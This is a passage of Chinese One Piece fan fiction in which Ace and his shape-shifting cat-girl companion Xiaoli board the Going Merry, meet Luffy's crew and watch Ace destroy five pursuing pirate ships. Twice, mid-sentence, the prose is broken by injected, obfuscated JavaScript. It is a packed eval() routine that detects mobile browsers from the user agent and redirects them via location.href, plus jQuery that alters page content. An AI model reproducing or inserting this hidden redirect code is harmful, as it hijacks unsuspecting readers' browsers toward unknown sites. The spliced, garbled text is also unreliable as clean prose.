虽然有点害羞,但“妹妹”这个身份被艾斯如此郑重地介绍出去,让她心里涌起一股奇异的、安稳的暖流。 “小猫姐!”路飞从善如流,立刻换了个更亲昵的称呼,笑容依旧灿烂得毫无阴霾,仿佛接受她是天经地义的事情,“哈哈哈哈,你好啊!” 然而,港口近在咫尺,温馨的气氛却未能持续。一群被巨额赏金和“白胡子海贼团第二队长”名号冲昏头脑的赏金猎人,以及一些想趁机扬名的海贼,发现了三人。他们叫嚣着“他们只有三个人!”“拿下‘火拳’艾斯和草帽小子的人头!”,如同嗅到血腥味的鬣狗般从各个角落涌出,迅速形成了包围圈,刀剑和火枪在夕阳下闪着不怀好意的寒光。 “橡胶橡胶——火箭!” 路飞的反应快得惊人,甚至没等对方完成合围。他压低身体,右手猛地向后伸长,穿过逐渐密集的人群缝隙,精准地抓住了远处已经起锚、正在缓慢调转船头的梅利号主桅杆。 “艾斯!小猫姐!船上见——!!!” 话音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941751|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未落,他整个人如同被巨大弹弓射出,“咻”地一声化作一道模糊的残影,划过港口上空,在众人目瞪口呆的注视下,精准地飞回了梅利号的甲板,只留下一句带着笑意的喊话在空气中回荡。 梅利号上,娜美、乌索普等人早就焦急地等在船舷边。看到路飞以这种方式归来,娜美气得额头冒烟:“路飞!你就这样回来了?!你哥哥他们还在下面被围着啊!没事吗?!” 路飞在甲板上打了个滚,毫发无伤地跳起来,拍了拍身上的灰,一脸理所当然地咧嘴大笑,语气里充满了对兄长毫无道理的绝对信任:“没关系啦!艾斯很强的!小时候他还没有吃烧烧果实,我可是一次也没有赢过他!一次也没有哦!” “什么?一次也没有过?!”乌索普的眼珠子差点瞪出来,声音拔高了八度,颤抖的手指指着下面被至少二三十人包围的艾斯和小狸,“他、他一个普通人……能打赢橡胶能力者的你?!还一次都没输过?!果然……路飞的哥哥也是怪物啊!!!” 仿佛是为了印证路飞的话,也为了回应船上伙伴们的担忧,港口边,艾斯看着周围人数越来越多、眼神越来越贪婪的赏金猎人和海贼,有些头疼地、极其轻微地叹了口气:“真是……没完没了。” 他脸上没有丝毫紧张,只有一丝被打扰的不耐烦。他抬起右手,拇指和中指轻轻摩擦,打了个清脆的响指。 “嗒。” 指尖,一簇活泼的、橙红色的小火苗应声燃起,在渐暗的暮色中显得格外明亮。 下一秒,港口外的海面上,前进号破开海浪,稳稳地、迅速地停泊在艾斯面前的码头边,激起一小片白色的浪花。 “小狸。” 艾斯唤了一声,小狸立刻会意。她身形在原地轻轻一晃,仿佛光影交错般模糊了一瞬——下一秒,一只通体漆黑的漂亮猫咪,便轻盈地落在了地上。 艾斯弯腰,动作熟练而轻柔地将小黑猫抱进怀里。他的手臂稳稳地托着她,甚至没有助跑,只是膝盖微屈,身体如同蓄满力量的弹簧,纵身一跃—— “呼!” 他精准地落在火焰小艇的中央,快艇只是轻微晃动了一下,便稳住了。艾斯甚至没有刻意控制平衡,仿佛早已和这艘小艇融为一体。 “走了。” 他轻声说,不知道是对怀里的猫,还是对那艘忠诚的火焰之舟。 “轰——!!!” 快艇尾部的火焰推进器骤然爆发出更加强劲的轰鸣,喷射出的火焰由橙红转为炽白,长度暴增!强大的反冲力推动着小艇如同离弦之箭,不,比箭更快!像是一道撕裂海面的赤色闪电,“唰”地一下便窜了出去! 快艇启动的瞬间带起的强劲气流和水浪,将码头边离得最近、还想试图阻拦的几个海贼直接掀翻在地,浇成了落汤鸡。其余人只能眼睁睁看着那艘喷吐着烈焰的小艇,以一种他们望尘莫及的速度,轻而易举地甩开了他们笨拙的船只和徒劳的叫嚣,在海面上划出一道优美的白色航迹,迅速追上了刚刚驶离港口不远、正在升满帆的梅利号。 在草帽一伙惊讶、好奇、审视的目光聚焦下,艾斯抱着小黑猫,在火焰快艇接近梅利号船舷的瞬间,再次轻盈跃起。这一次,他没有落在甲板上,而是如同最敏捷的猎豹,精准地、稳稳地蹲在了梅利号侧面那狭窄的木质围栏上! 围栏只有一掌来宽,在海风的吹拂和船只的晃动下,普通人连站稳都困难。但艾斯蹲在那里,身体却稳如泰山。海风吹拂着他黑色的短发,额前几缕发丝掠过他带着笑意的眉眼,也吹动着他帽檐上的串珠,发出细微的碰撞声,光裸的上身露出精壮的肌肉 而他怀里,那只通体漆黑的猫咪,似乎也丝毫不惧这高度和海风,只是安静地蜷伏着,蔚蓝的眼睛平静地打量着船上的新面孔,尾巴尖偶尔悠闲地摆动一下。 艾斯对着甲板上神色各异的草帽一伙,露出了一个爽朗、真诚、又带着恰到好处歉意的笑容。夕阳的余晖为他轮廓分明的侧脸镀上了一层温暖的金边,也让他眼中的善意更加清晰。 “各位,初次见面。” 他的声音清朗而富有磁性,语气礼貌而从容,带着一种经过历练的沉稳气度,与刚才和路飞打闹时的模样判若两人。 “我是波特卡斯·D·艾斯。” 他微微颔首,介绍自己的同时,另一只手轻轻抚摸着怀里小黑猫的脊背。猫咪似乎很享受,眯起了眼睛,喉咙里发出更加明显的、细微的呼噜声,在傍晚相对安静的海面上隐约可闻。 艾斯的笑容加深了些,目光扫过众人,最后落在有些不好意思地挠着头笑的路飞身上,眼神里充满了兄长式的无奈与骄傲。 “这是家妹,小狸。” “我那个调皮的弟弟路飞,承蒙各位照顾了。” 他再次微微欠身,态度诚恳。 “这段时间,一定给你们添了不少麻烦吧?真是……非常感谢,也辛苦各位了。” 海风继续吹拂,梅利号的船帆鼓满了风,向着阿拉巴斯坦的腹地驶去。艾斯蹲在围栏上,怀抱着猫,笑容温和。草帽一伙的众人——娜美、乌索普、山治、索隆,以及刚刚从船舱里探出小脑袋的乔巴——都愣愣地看着这个突然出现的、强大又彬彬有礼的“哥哥”,以及他怀里那只“猫妹妹”。 震惊、好奇、戒备、友善……种种情绪在众人眼中交织。 新的相遇,就在这片被夕阳染成金红色的、波澜壮阔的大海上,带着火焰的温暖与海风的咸涩,徐徐展开了。 25. 哥哥他,可是很强的 艾斯蹲在梅利号的木质围栏上,夕阳最后的余晖从侧面打来,在他挺拔的鼻梁和带着笑意的唇角投下深邃的阴影,却又将他眼中那份真诚的歉意映照得格外清晰。 “我那个莽撞的、想到什么就做什么的弟弟,”他开口,声音清朗,带着海风洗涤过的干净质感,语气是恰到好处的歉然与兄长式的无奈,“这一路上,一定给大家添了不少麻烦吧?” 这话问得直接,却又如此自然,仿佛早已料定答案。 甲板上的草帽一伙闻言,像是被按下了同一个开关,几乎是条件反射般地齐齐摆手,动作整齐划一得有些滑稽。 “不不不!怎么会!”乌索普第一个喊出来,声音因急切而略显尖细。 娜美努力维持着得体的微笑,手指却无意识地绞着橘色的发梢,试图在“礼貌”和“诚实”之间找到脆弱的平衡:“路飞他……虽然确实很、很‘活力充沛’,有时候计划会变得……嗯,出人意料,”她斟酌着用词,眼角瞥向一旁正没心没肺挖着鼻孔的路飞,嘴角抽了抽,“但也带来了很多……呃,独特的‘乐趣’。”最后两个字她说得极轻,更像是在说服自己。 乔巴躲在娜美腿后,只露出半个毛茸茸的蓝色脑袋和一双圆溜溜的大眼睛,闻言用力地、小幅度地上下点着头,鼻头因为紧张而微微翕动。 艾斯将众人的反应尽收眼底,那双总是燃烧着火焰般活力的黑眸里,闪过一丝了然又有些好笑的光芒。他脸上的笑容却更加柔和、真挚了几分,仿佛弟弟的“麻烦”早已是他生命底色的一部分,接受起来毫无负担。他微微颔首,这个动作让他帽檐下的阴影晃动了一下,语气诚挚而郑重: “即便如此,还是非常感谢大家一直以来照顾他、包容他。这份情谊,我记下了。” “不不不!您太客气了!”众人再次异口同声,声音里透出几分受宠若惊的慌乱。这位突然出现的哥哥,强大、彬彬有礼、态度诚恳得近乎郑重,与他那位跳脱的弟弟形成了过于鲜明的对比,反而让他们有些手足无措。 同样是兄弟,差距怎么就这么大呢! 这个念头几乎同时浮现在几人心中。他们看看沉稳可靠、笑容爽朗的艾斯,再瞥一眼自家那个正试图把手指伸得更深些、对眼前微妙气氛浑然不觉还大叫着什么时候开饭的橡胶船长,内心不由得发出一声混合着羡慕与无力的悠长叹息。 与此同时,众人注意到艾斯怀中那只异常安静的黑猫也正小心地打量着他们,他刚才说……这是他妹妹?虽然在大海上航行久了,听说过各种稀奇古怪的恶魔果实和能力,但亲眼见证又是另一回事…… 仿佛是为了回应众人心中翻腾的疑问,艾斯怀中的小黑猫轻轻动了动。它抬起头,用那双冰川般湛蓝的眸子看了艾斯一眼,艾斯回以一个细微的、鼓励般的点头。 下一刻,小黑猫轻盈地从他臂弯中跃下,四只爪子悄无声息地落在梅利号干净的木制甲板上。它没有立刻动作,只是站在那里,微微仰起头。 然后,小黑猫的轮廓开始拉长、变化——流畅的背部线条向上延伸,四肢变得修长,尾巴在光中摇曳出更灵动的弧度…… 整个过程只在呼吸之间。原地站着的,已不再是那只漆黑的猫咪,而是那位穿着橙色短款露脐背心、黑色短裤的少女。黑色的微卷长发随着海风轻轻飘动,发间那对毛茸茸的猫耳敏感地捕捉着空气中的每一丝声响,微微颤动着。从短裤特意留出的洞口垂下的黑色长尾巴,此刻正悠闲地、带着点好奇的意味左右小幅度摇摆。 小狸似乎对“正式见面礼仪”有些生疏,她回忆着莫比迪克号上大家初次见面的样子,向前迈了一小步,然后简单地又快速、幅度不大地点了下头。这个动作让她鬓角几缕不听话的卷发滑过白皙的脸颊。 “大家好,”她的声音清脆,带着一点点不易察觉的紧张,但更多的是坦然,“我叫小狸。”她顿了顿,补充道,语气里有一种自然而然的归属感,“隶属于白胡子海贼团二番队。” 她抬起头,海风恰好拂开她额前的发丝,完整地露出那张精致得娃娃脸。皮肤在夕阳余晖下白得近乎透明,脸颊却带着健康的、运动后的淡淡红晕。最引人注目的是那双眼睛——圆润的猫瞳,颜色是那种最深最纯净的蔚蓝,清澈见底,此刻正映照着甲板上众人各异的神情,带着一丝初来乍到的探询和努力表现的友好。 “请大家多多关照。”她最后说道,尾巴不自觉地停止了摆动,微微卷起一点尾尖,显露出一点等待回应的细微忐忑。 甲板上,陷入了短暂的、绝对寂静。 尽管之前看到黑猫时已有猜测,尽管路飞已经“剧透”过,但亲眼目睹一只活生生的、毛茸茸的猫咪,化作一位俏丽灵动、猫耳摇曳的少女——这种视觉与认知上的直接冲击,远比任何听闻都要来得震撼和颠覆! 时间仿佛被拉长了一秒。每个人脸上的表情都定格在惊愕的瞬间。 “猫……猫猫猫猫猫——!!!”乌索普的嘴巴张得能塞进一个橘子,眼珠暴突,手指颤抖地指向小狸,又猛地收回捂住自己的心脏,仿佛受到了成吨的惊吓 而山治——这位金发的厨师先生,在最初的呆滞过后,那双总是半眯着的、带着些许慵懒和挑剔的眼睛,如同被投入了火星的干柴,“轰”地一声燃烧起来!原本的扇形眉毛瞬间扭曲成了狂乱的爱心形状,瞳孔被巨大的粉红色桃心彻底占据。 “啊啊啊啊啊——!!!” 他发出了一声足以穿透云层的、饱含惊艳与狂喜的咏叹调,整个人像是被无形的手拧成了螺旋状,带着粉红色的背景特效,旋转着就要朝小狸靠拢过去,被娜美一把拽住。 “多么……多么不可思议的邂逅啊~~!!从野性优雅的猫咪,化身为如此可爱又充满神秘魅力的lady~!!这一定是命运的指引!是海神赐予我山治最珍贵的礼物!欢迎来到梅利号,我亲爱的猫耳lady~!请务必让我为您准备最浪漫的晚餐,用爱意点燃的火焰烹制……” 过于炽热直白的热情如同火山喷发,让小狸下意识地缩了缩脖子,耳朵向后压成了飞机耳,蓝色的眼睛里闪过一丝无措和轻微的不适。她不太习惯这种毫无距离感的、情感浓烈到近乎灼人的对待方式。 艾斯蹲在围栏上,看着这一幕,脸上依旧带着那副轻松的笑容,他甚至没有移动分毫,只是右手随意地抬起,拇指与中指轻轻一搓—— “嗒。” 一声清脆的响指。 一簇只有指甲盖大小、活泼跳跃着的橙红色火苗,如同拥有生命的精灵,从他指尖轻盈地飞出。它划过一道精准的弧线,越过数米的距离,不偏不倚,恰好落在山治因为激动而微微张开的、叼着那根尚未点燃香烟的嘴边。 “嗤……” 微不可闻的轻响,香烟的顶端瞬间被点燃,亮起一点稳定的橘红。 山治所有夸张的动作和滔滔不绝的赞美骤然卡住。他保持着那个扭曲的螺旋姿势,叼着突然被点着的烟,愣住了。烟头的微光映在他还有些呆滞的脸上,那疯狂的桃心瞳孔慢慢恢复正常,扭曲的眉毛也缓缓平复下来。 他眨了眨眼,看向围栏上依旧笑吟吟的艾斯。艾斯冲他微微扬了扬下巴,眼神里没有警告,只有一丝淡淡的、介于友好与调侃之间的笑意 山治深吸了一口烟,让尼古丁和冰凉的海风帮助自己平复过快的心跳和过热的大脑。他缓缓站直身体,恢复了平日里那副略带慵懒的绅士姿态,只是耳根还残留着一丝未褪尽的热度。他对着艾斯的方向,轻轻点了点头,那是男人之间心照不宣的、带着些许尴尬的眼神交流 娜美终于从冲击中稍微回过神,她单手扶住额头,感觉自己的太阳穴在突突直跳,另一只手无力地挥了挥,“猫……变身……这个世界到底还有多少我无法理解、冲击常识的事情在等着我啊……”她发出一声认命般的哀叹,仿佛看到了自己那本记录财宝的账本旁边,不得不新增一栏“离奇事件记录”。 而路飞则在一旁,看着伙伴们各式各样的震惊脸,开心地拍着大腿哈哈大笑,橡胶身体笑得前仰后合:“嘻嘻嘻嘻!很厉害吧!小猫姐超——厉害的!”他完全忘记了自己也是不久前才刚知道,一副与有荣焉的模样。 众人立刻将吐槽的炮火转向他:“你明明也才刚知道没多久吧!不要装出一副很熟的样子啊喂!”“就是就是!路飞你刚才不也看呆了吗!” 小狸很快注意到了那个拿着三把刀的剑客就是在港口注视两人的人,但她的注意力,很快就被桅杆后面那只时而探头、时而又害羞地缩回去的蓝鼻子驯鹿彻底吸引了。那毛茸茸的、带着斑点的小小身影,那圆溜溜的、写满善意和胆怯的眼睛,还有那种……隐约能感觉到的、与自己有些相似的“非人”与“特别”的气息,都让她感到一种莫名亲切的好奇。 她蓝色的猫瞳微微睁大,里面闪烁着纯粹探询的光。她小心翼翼地、步伐轻盈的向桅杆那边凑近了几步,微微歪着头,浓密的睫毛眨了眨,用不高却足够清晰的声音,带着一种直白的、近乎天真的疑惑问道: “你……也是‘实验品’吗?” 这个词从她口中吐出,自然得如同询问天气,却让甲板上的空气微妙地凝滞了一瞬。艾斯蹲在围栏上的身影几不可查地顿了一下,目光温和地落在小狸的背影上。 乔巴显然被这个直接的问题吓了一跳,整只鹿都往后缩了缩,差点把自己完全藏到桅杆后面。他慌乱地摆动着小蹄子,声音因着急而有些结巴:“不、不是的!我不是!我是驯鹿!是吃了‘人人果实’的驯鹿!所以……所以才能变成现在这个样子,也能说话……”他越说声音越小,蓝鼻子不安地耸动着,似乎很担心对方因为自己不是“同类”而失望。 “人人果实?”小狸的眼睛瞬间亮了起来,那光芒纯粹而炽热,像两颗被点燃的蓝宝石,“可以变成人的果实吗?好厉害!”她由衷地赞叹道,语气里没有一丝一毫的怀疑或评判,只有满满的、仿佛看到魔法成真般的惊奇和羡慕。她甚至无意识地向前又挪了一小步,尾巴因为兴奋而轻轻竖起,尾尖好奇地晃动着 被这样直白、真诚又充满好奇的目光注视着,被如此毫不掩饰地称赞着,乔巴整张毛茸茸的小脸“腾”地一下变得通红,一直红到了耳朵尖。他害羞得无以复加,小小的身体开始不受控制地扭动起来,像一团蓝色的、柔软的年糕,四只蹄子在地板上无措地踩来踩去。 “我,我也可以变身哦!我有,蓝波球。” 乔巴兴致冲冲的开始和小狸讲述自己研发的药物,小狸瞪大了眼睛,一脸崇拜的看着他 “什么!!好厉害!!!” “就算……就算你这么说……”他把脸埋进蹄子里,声音闷闷的,带着抑制不住的开心和羞窘,“我、我也不会高兴的啦!笨蛋~!”最后那个扭捏的尾音,彻底出卖了他飘上云端的心情。 看着一只猫耳少女和一只蓝鼻子驯鹿,就这样在甲板上进行着跨越物种、却异常和谐友好的交流,画面温馨又充满了一种奇幻的可爱感,草帽团众人脸上都不自觉地露出了笑容。连索隆抱着刀靠在船舱边,嘴角也几不可查地向上弯了弯。艾斯站在一边,看着这美好的一幕,眼神温柔。只有路飞已经在地上打滚,拉着山治的腿询问到底什么时候开饭 “肉————我要吃肉——” “烦死啦!!!” 然而,大海上的宁静时刻总是奢侈的。 一直抱着刀、看似闭目养神实则负责警戒的索隆,突然眉头一蹙,睁开了锐利的眼睛。他望向梅利号后方逐渐沉入暮色的海面,声音低沉地开口,打破了温馨的气氛: “喂,有情况。” 所有人的目光瞬间集中到他身上。 索隆朝着船尾的方向扬了扬下巴:“后面,五艘船,正在全速接近。看那些破烂旗帜……是刚才在港口没吃到教训、以为人多就能捡便宜的那群杂鱼。” 众人立刻涌向船舷,紧张地望向后方。果然,在黯淡的天光与深蓝海面的交界处,五个模糊的黑影正迅速变得清晰,船头破开海浪的白色航迹格外刺眼。越来越近,已经能看清船上攒动的人影和武器反射的寒光,叫嚣与怒骂声也随着海风隐隐约约传来,甚至开始有炮弹向他们的方向飞来,水波震动的梅丽号摇晃了一下。 “真是阴魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他站在小艇上,面向那五艘气势汹汹扑来的海贼船,海风吹得他黑色的发丝向后猎猎飞扬,露出精悍的腰身和背后那巨大的白胡子刺青。他微微活动了一下脖颈,骨节发出轻微的脆响。 下一秒,火焰小艇尾部的推进器爆发出比之前更加强劲、更加震耳的轰鸣!喷射出的火焰长度暴涨,几乎要将小艇后半部分完全笼罩!强大的反冲力推动着小艇,使它不像是在破浪,而更像是一支被巨弩射出的、燃烧着尾焰的赤色箭矢,以令人瞠目结舌的速度,主动迎向了那五艘庞大的海贼船! “他、他冲过去了?!一个人?!”乌索普的声音变了调。 在双方距离急速拉近,眼看就要发生碰撞的惊险瞬间,艾斯的小艇猛地一个近乎直角般的、灵巧到不可思议的急转!艇身倾斜,几乎贴着海面滑行,带起一片白色的浪花幕墙,险之又险地从五艘船并排航行的侧翼缝隙中擦过! 就在小艇与最后一艘敌船擦身而过的刹那—— 小艇上的艾斯,右臂已然向后拉到极限。他的整条手臂,从肩膀到指尖,都被难以想象的、高度压缩凝聚的炽热火焰所包裹!那火焰不再是跳跃分散的,而是凝实得烈焰,周围空气被高温灼烧得剧烈扭曲,发出“噼啪”的爆响,甚至隐约能看到光线透过扭曲空气产生的折射! 梅利号上,所有人都屏住了呼吸,瞳孔中被那团夺目的烈焰所填满。 艾斯眼神一凛,口中低喝,清晰有力: “火拳——!” 凝聚到极致的炎拳,悍然挥出! 轰————————!!!!!!!!!! 无法用言语形容的巨响瞬间吞噬了一切其他声音! 巨大的火焰向前方狂暴地扩散、奔涌!所过之处,海水不是被推开,而是被瞬间汽化!炽热的光和热占据了每一寸空间,将那五艘海贼船连同上面的海贼、帆缆、木板……一切的一切,尽数吞没! 耀眼的强光让梅利号上所有人下意识地闭眼或抬手遮挡,即使隔着眼睑,也能感受到那片灼目的温度。 强光持续了数秒才缓缓减弱。 当众人勉强能睁开刺痛的眼睛,看向那片海域时—— 刚才还气势汹汹的五艘海贼船,已经消失无踪。 海面上,只剩下一些零星飘散、还在燃烧的黑色碎木片和焦糊的残骸,如同被巨神随手丢弃的垃圾,在翻滚着白色蒸汽的海浪中沉浮。些许火星飘散在暮色渐浓的空气中,很快被海风熄灭。 一招。 仅仅只是一招。 梅利号上,陷入了一片比刚才小狸变身时更深沉、更持久的死寂。 草帽一伙全体成员,如同被施了集体石化魔法,僵立在原地。乌索普的嘴巴张得能塞进他自己的拳头,眼睛瞪得像铜铃,下巴彻底脱臼,挂在脸上;娜美捂住嘴,橘色的瞳孔里充满了极致的震撼与后怕;山治叼着的烟掉在了甲板上都浑然不觉;就连一向冷静的索隆,也罕见地露出了无比凝重和震惊的神情,握刀的手不自觉地收紧。乔巴则完全躲到了娜美身后,只露出两只因为过度惊吓而变成蚊香状的眼睛。 这……这就是“火拳”艾斯的真正力量?!白胡子海贼团第二队队长的实力?! 和这种力量相比,他们之前经历的战斗,简直像是孩童的游戏…… 艾斯用手指扶了下帽檐,火焰小艇喷吐着稳定的尾焰,以一种近乎悠闲的姿态,轻巧地划了个弧线,返回梅利号旁边。艾斯再次轻盈跃起,落在甲板上,姿态与离开时毫无二致,甚至帽檐的角度都没有改变。他拍了拍手上根本不存在的灰尘,仿佛刚才的一击,真的只是随手掸去了一点尘埃。 海风拂过他额前汗湿的发丝,他帽子下的笑容依旧爽朗、干净,甚至带着点完成一件小事后的轻松。 小狸走到围栏边,仰头看着艾斯跳回船上。然后,她转过身,面向仍旧处于极度震撼中、表情空白的草帽团伙伴们。她脸上绽放出一个无比明亮、与有荣焉的骄傲笑容,那笑容比天边的晚霞还要灿烂。她身后那条黑色的长尾巴,此刻正高高竖起,尾巴尖愉快地、得意地快速晃动着,像一面小小的胜利旗帜。 她蓝色的猫瞳弯成了月牙,声音清脆悦耳,带着满满的自豪,清晰地传入每个人耳中: “看吧,我就说不用担心。” 她顿了顿,目光扫过众人呆滞的脸,最后落在艾斯身上,那眼神里的信赖与崇拜几乎要满溢出来,语气是理所当然的坚定: “因为艾斯哥哥——” “可是很强的!” 26. 依偎与沙之海 那记“火拳”所带来的震撼在梅利号上激起的涟漪久久未能平息。 艾斯在证明了自身那恐怖的实力后,所收获的自然是草帽一伙最高规格、混合着敬畏与好奇的欢迎。他对此只是爽朗一笑,压了压帽檐,目光扫过众人,最后落在自家弟弟那张永远无忧无虑的脸上,语气轻松: “其实,我也不是特意追着你过来的,路飞。”他笑了笑,“我自己也有些小事要处理。看方向,我们大致同路。”他顿了顿,目光真诚地看向草帽团的众人,“如果不介意的话,让我和小狸暂时叨扰一阵,搭个顺风船,同行一段路吧?” 面对这样一位实力深不可测、举止却礼貌得体、同时还顶着“路飞的哥哥”这层天然亲近光环的客人,答案自然是毫无悬念的一致通过。梅利号的船员舱室虽然不算宽敞,但腾出两个临时铺位并非难事。就这样,这艘载着梦想的小船上,多了两位来自新世界的特殊乘客。 航行在继续,蔚蓝的海面与天空的界限在远处模糊。小狸很快在船上找到了新的乐趣源泉——那只蓝鼻子、说话会害羞扭成麻花的驯鹿船医,托尼托尼·乔巴。 对于原本是动物的乔巴,小狸总是有种莫名的亲近,当她从乔巴那里得知,他不仅能说人话,更能凭借“人人果实”带来的天赋,听懂其他动物的语言时,那双蔚蓝色的猫瞳瞬间被点亮了,里面盛满了仿佛看到魔法成真般的、纯粹的惊叹与向往。 “好厉害……!”她蹲在乔巴面前,尾巴因为兴奋而不自觉地高高竖起,尾尖快速颤动,“什么都可以么?海鸟呢?鱼呢?都可以听懂么?”她的问题如同蹦出豆荚的豆子,一个接一个,声音里是毫不掩饰的、孩子发现新玩具般的雀跃。对她而言,这种跨越物种壁垒的沟通能力,简直比任何战斗技巧或恶魔果实能力都更令人着迷。 受到乔巴能力的启发,小狸甚至开始笨拙地、但异常认真地尝试去模仿和感知那种传说中的“万物之语”的波长。她会凝神静气,毛茸茸的耳朵转向风声、海鸟的鸣叫、甚至船体与海浪摩擦的细微声响,试图从这些自然的交响中分辨出特定的“词句”。大多数时候,她只能捕捉到一些模糊的情绪碎片——海风的慵懒、海鸟归巢的急切、海浪拍打船身的规律与力量感——但这已足够让她兴奋不已。她经常和乔巴凑在甲板的角落,一个努力回想自己是如何“不知道原理,但自然而然”听懂的,连比带划地“教导”;一个则盘腿坐着,尾巴圈在身前,仰着小脸,蓝色眼睛睁得圆圆的,听得无比专注,不时提出新的天真问题。一猫一鹿,语言半通不通,却交流得热火朝天,画面温馨又充满奇妙的喜感。 梅利号依旧保持着它特有的、喧闹而充满生命力的节奏。路飞永远在吵嚷着“肉!山治!肉!”,声音能穿透三层甲板;有了新的听众,乌索普的“八千部下”和“巨兽退治”故事每天都在更新版本;索隆大部分时间不是在睡觉补充体力,就是在角落挥汗如雨地锻炼他那非人的臂力与剑技;山治则像一只优雅又忙碌的蝴蝶,围绕着船上的几位女士打转,泡茶、送点心、赞美,偶尔对偷吃的船长爆发出怒吼;娜美精准地掌控着航向,同时严密看守着她的橘子树和财宝,必要时“爱之铁拳”依旧威力不减;而薇薇,这位阿拉巴斯坦的公主,常常独自倚在船舷边,望着故土的方向出神,美丽的蓝色眼眸中沉淀着与年龄不符的沉重与忧郁,像一片笼罩在绿洲上方的阴云。 小狸还不太能完全理解“国家”、“责任”、“阴谋”这些沉重词汇背后所代表的具体含义,但她野兽般敏锐的直觉,却能清晰地感知到薇薇周身萦绕的那股低落、悲伤与焦虑的气息。于是,她会悄悄放下和乔巴的“语言课”,轻手轻脚地走过去。有时只是变回那只通体漆黑的小猫,无声地跳上薇薇身边的船舷,用毛茸茸、带着体温的小脑袋,轻轻地、一遍又一遍地拱着薇薇垂在身侧、有些冰凉的手,喉咙里发出细软绵长的、带着安抚意味的“喵呜~”声。有时,她就保持人形,安静地挨着薇薇坐下,并不说话,静静陪伴,让无声的温暖慢慢渗透那份沉重的孤寂。 在莫比迪克号那段被白胡子海贼团家人们毫无保留地接纳、宠爱的经历,如同最有效的良药,逐渐治愈了小狸内心深处因实验室和锈带而留下的伤痕与冰封。在这个神奇的新世界,没人会在意她实验品的身份,没人用厌恶的目光审视她,她明显变得开朗了些,那种初来时带着警惕的疏离感慢慢褪去,取而代之的是一种尝试融入的主动。她会和娜美、薇薇一起,在繁星满天的夜晚,并排躺在甲板的凉席上,分享彼此世界里有意思的见闻——娜美讲述东海各岛不同的风土人情和特产与物价,小狸则描述莫比迪克号上热闹又温暖的日常和神奇的食物。当被娜美和薇薇带着促狭而了然的笑容,悄悄问起“小狸,你和艾斯先生……真的只是‘兄妹’吗?”时,小狸的反应总是如出一辙: “啊——!不、不是你们想的那样啦!真、真的!”她白皙的脸颊会瞬间爆红,像被扔进沸水里的鲜虾,连脖颈和耳尖都染上绯色,手忙脚乱地挥舞着,尾巴因为羞窘而僵直竖起,“是、是家人!是哥哥!……”她试图强调,可越是强调,那双闪烁躲闪的猫瞳,和红得几乎要滴血的耳根,越是将少女心底那份朦胧初醒、带着羞涩与甜蜜的复杂情愫暴露无遗,引得娜美和薇薇相视一笑,发出更加愉悦的、心照不宣的低笑声。 艾斯将路飞的成长一点一滴尽收眼底,心中充满了兄长式的欣慰与骄傲。他看着路飞依旧胡闹脱线,为了一块肉能和山治追打半条船,和乌索普进行着幼稚的吹牛比赛,睡觉四仰八叉毫无形象……但在这些看似不靠谱的日常之下,艾斯能清晰地感觉到,一种坚不可摧的信任与羁绊,如同最坚韧的藤蔓,将这群性格迥异的伙伴牢牢联结在一起。他的弟弟,或许永远学不会所谓的“稳重”与“谋略”,却用一种近乎本能的纯粹与热血,赢得了这些优秀同伴毫无保留的追随与信赖,真正成长为了一个能独当一面、值得托付后背的男子汉。 艾斯自己也会自然地融入梅利号的日常。他会主动去厨房,想帮山治打打下手,处理些食材。虽然每次都被金发的厨师以“不能让客人动手”为由礼貌而坚决地请了出来,但山治每次看着艾斯离开厨房的背影,都会忍不住再次低声感叹:“路飞先生的哥哥……无论是实力还是风度,都简直是另一个世界的水准啊……”然后下一秒,就会对试图把整个橡胶脑袋塞进汤桶、用舌头卷走所有炖肉的路飞爆发出地动山摇的怒吼:“混蛋路飞——!!!给我用碗!那是全船人的份!你想让大家饿肚子吗?!!” 然而,看着小狸如同一颗被投入清水的蜜糖,迅速而自然地融化在草帽团温馨喧闹的氛围里,艾斯在由衷感到高兴和放心之余,心底某个角落,竟久违地泛起一丝极其微妙、难以言喻的…… 寂寞。 是的,寂寞。这个词对于习惯了独自行动、在伟大航路后半段血火中拼杀的白胡子海贼团二番队队长来说,显得有些陌生,甚至矫情。但感觉却真实存在。 好像突然之间,那个总是下意识跟在自己身后半步、目光习惯性寻找自己身影、喜欢在午后变成小猫蜷在自己腿上或窝在怀里打盹、稍有风吹草动耳朵就会转向自己方向的小家伙,有了很多新的关注点、新的乐趣、新的可以分享笑容和秘密的伙伴。她依然会对他笑,眼神依然充满信赖,但那份全然的、近乎唯一的依赖感,似乎在不知不觉中被分散了。 这当然是好事。这说明小狸在健康成长,在打开心扉,在真正学会与更多人建立联系。他应该高兴才对。 可是…… 心里那点空落落的感觉,像是最细微的沙粒落入鞋底,起初不在意,走久了却会磨得人隐隐不适。 这天午饭后,阳光正好,海风慵懒。甲板上,路飞和乌索普正在进行着第N届“谁能一口气吃下更多仙贝”大赛(毫无悬念且一片狼藉),山治在给女士们奉上餐后水果,索隆在阴凉处发出了轻微的鼾声。小狸刚刚帮忙收拾完餐具,洗了手,看样子又打算蹦跳着去找可能在医务室整理药材的乔巴学习些可能用得上的医术。 就在她轻快地经过靠在主桅杆边、看似闭目养神的艾斯身旁时—— 一只温热而有力的手臂突然伸了出来,以迅雷不及掩耳之势,精准地揽住了少女纤细柔软的腰肢。 “哇啊?!” 小狸只来得及发出一声短促的惊呼,整个人便瞬间失衡,被一股不容抗拒又异常熟悉的力道带得腾空而起,天旋地转间,稳稳落入一个坚实滚烫的怀抱,被打横抱了起来。 “艾、艾斯?”她惊魂未定地抬起头,映入眼帘的是艾斯线条分明的下颌和微微勾起的嘴角。他脸上没什么特别的表情,甚至眼睛都没完全睁开,仿佛只是顺手做了件再自然不过的事。 